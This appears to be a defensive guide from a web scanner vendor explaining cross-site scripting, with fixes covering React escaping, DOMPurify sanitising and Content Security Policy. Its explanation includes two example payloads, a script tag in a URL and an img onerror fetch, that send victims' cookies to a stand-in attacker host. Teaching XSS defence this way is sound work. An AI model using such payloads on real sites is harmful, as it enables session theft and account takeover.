Cross-Site Scripting (XSS)

What Is XSS?

Cross-Site Scripting (XSS) occurs when an application includes untrusted data in a web page without proper encoding, allowing attackers to execute scripts in the victim's browser. The script runs with the same trust level as the legitimate site — giving it access to cookies, session tokens, and the full DOM.

AI-generated frontends frequently introduce XSS through direct use of innerHTML, dangerouslySetInnerHTML, or unescaped template literals.

How It Works

Reflected XSS — payload comes from the current request:

https://example.com/search?q=<script>document.location='https://evil.com/?c='+document.cookie</script>

If the app renders the q parameter directly into the page HTML, any victim who clicks this link has their cookies sent to the attacker.

Stored XSS — payload is saved to the database and rendered to all visitors:

<!-- Attacker submits this as a comment -->
<img src=x onerror="fetch('https://evil.com/?c='+document.cookie)">

Every user who views the page now executes the attacker's script.

Real-World Impact

• Session hijacking — steal session cookies and take over accounts
• Credential theft — inject a fake login form over the real page
• Keylogging — capture everything the user types
• Defacement — replace page content for all visitors (stored XSS)
• CSRF bypass — make authenticated requests on behalf of the victim

How to Fix

In React / Next.js — the framework escapes by default. Avoid bypassing it:

// Dangerous — never do this with untrusted content
<div dangerouslySetInnerHTML={{ __html: userComment }} />
 
// Safe — React auto-escapes text content
<div>{userComment}</div>

For HTML you must render — sanitize with DOMPurify:

import DOMPurify from "dompurify";
 
const clean = DOMPurify.sanitize(userHtml, { USE_PROFILES: { html: true } });
return <div dangerouslySetInnerHTML={{ __html: clean }} />;

Set a Content Security Policy to limit script execution:

Content-Security-Policy: default-src 'self'; script-src 'self'

What VibeWShield Detects

VibeWShield tests input fields, URL parameters, and headers with XSS payloads including event handlers, <script> tags, and SVG-based vectors. It checks whether payloads are reflected unescaped in responses and flags missing Content-Security-Policy headers as a supporting finding.